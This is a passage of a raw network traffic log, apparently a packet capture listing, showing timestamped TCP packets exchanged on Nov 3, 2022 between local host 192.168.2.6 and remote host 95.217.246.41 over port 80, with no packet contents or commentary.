Nov 3, 2022 12:47:19.784224987 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784233093 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784267902 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784276009 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784310102 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784320116 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784359932 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784384012 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784431934 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784431934 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784466982 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784477949 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784513950 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784522057 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784559011 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784564972 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784601927 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784607887 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784641027 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784651041 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784688950 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784694910 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784734964 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784744978 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784782887 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784792900 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784827948 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784856081 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784907103 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784910917 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784950972 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.784953117 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.784998894 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785007954 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785048962 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785058022 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785099030 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785120964 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785161018 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785168886 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785204887 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785211086 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785253048 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785271883 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785322905 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785347939 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785363913 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785367012 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785407066 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785408974 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785444975 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785454035 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785487890 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785499096 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785537004 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785542965 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785576105 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785583973 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785617113 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785626888 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785660982 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785670042 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785701036 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785712004 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785747051 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785754919 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785792112 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785797119 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785832882 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785840988 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785876036 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785883904 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785917997 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785926104 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.785959005 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.785968065 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786004066 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786014080 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786047935 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786055088 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786094904 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786098957 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786132097 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786140919 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786175013 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786184072 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786220074 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786226988 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786262989 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786269903 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786308050 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786314011 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786348104 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786356926 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786390066 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786398888 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786432028 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786448956 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786484003 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786493063 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786526918 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786535978 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786571980 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786580086 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786616087 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786622047 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786655903 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786667109 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786700010 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786709070 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786747932 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786751986 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786787033 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786793947 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786828995 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786837101 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786871910 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786911011 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.786948919 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.786967993 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787009001 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787014008 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787049055 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787056923 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787096024 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787098885 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787133932 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787142992 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787175894 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787184954 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787219048 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787228107 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787261009 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787275076 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787308931 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787318945 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787357092 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787365913 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787398100 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787406921 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787439108 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787448883 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787484884 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787493944 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787528992 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787535906 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787569046 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787578106 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787611961 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787621021 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787652969 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787663937 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787698030 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787708044 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787741899 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787750959 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787784100 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787795067 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787827969 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787837029 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787868977 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787878990 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787911892 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.787923098 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787966013 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.787970066 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.788001060 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.788012981 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.788053036 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.788058043 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.788100004 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.788100004 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.788135052 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.788142920 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.788182020 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.788187027 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.788222075 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.826314926 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.826375008 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.826412916 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.826452017 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.826472998 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.826472998 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.826488972 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.826519966 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.826528072 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.826545000 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.826598883 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.826600075 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.826633930 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.826634884 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.826669931 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.826672077 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.826704025 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.826709032 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.826745033 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.826745987 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.826783895 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.826783895 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.826822996 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.826822996 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.826860905 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.826863050 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.826951027 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.826951027 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.826989889 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827008009 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.827024937 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827028036 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.827064037 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827101946 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827145100 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827173948 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.827183008 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827191114 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.827222109 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827227116 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.827259064 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827295065 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827328920 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827363968 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827399969 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827434063 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827471018 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827488899 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.827511072 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827517033 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.827548027 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827558994 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.827584982 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827610016 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.827620983 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827635050 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.827658892 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827687025 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.827694893 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827730894 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827768087 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827775955 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.827806950 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827841997 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827845097 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.827877045 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827913046 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.827950954 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.828044891 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.828049898 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.828063965 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.828077078 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.828090906 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.828095913 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.828115940 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.828130007 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.828130007 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.828150034 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.828155041 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.828164101 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.828193903 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.828315973 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.828371048 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.877304077 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.877626896 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.915504932 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915539980 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915565014 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915581942 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915600061 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915616035 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915632963 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915649891 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915667057 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915684938 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915684938 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.915702105 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915720940 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915736914 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.915739059 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915757895 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915761948 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.915776014 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915782928 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.915793896 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915811062 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915819883 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.915828943 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915847063 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915860891 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.915868044 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915882111 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.915889025 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915906906 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915915966 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.915925980 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915942907 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915951967 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.915962934 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.915973902 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.915982962 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916002035 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916018009 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916026115 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916037083 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916045904 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916060925 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916066885 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916085005 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916090012 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916104078 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916116953 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916124105 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916141033 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916143894 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916166067 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916198969 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916219950 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916237116 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916254997 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916266918 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916280031 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916296959 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916312933 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916321039 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916332960 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916342020 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916352034 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916366100 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916372061 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916388035 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916393042 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916410923 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916413069 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916429996 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916446924 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916456938 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916465998 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916476965 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916485071 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916502953 CET	80	49708	95.217.246.41	192.168.2.6
Nov 3, 2022 12:47:19.916512012 CET	49708	80	192.168.2.6	95.217.246.41
Nov 3, 2022 12:47:19.916522026 CET	80	49708	95.217.246.41	192.168.2.6
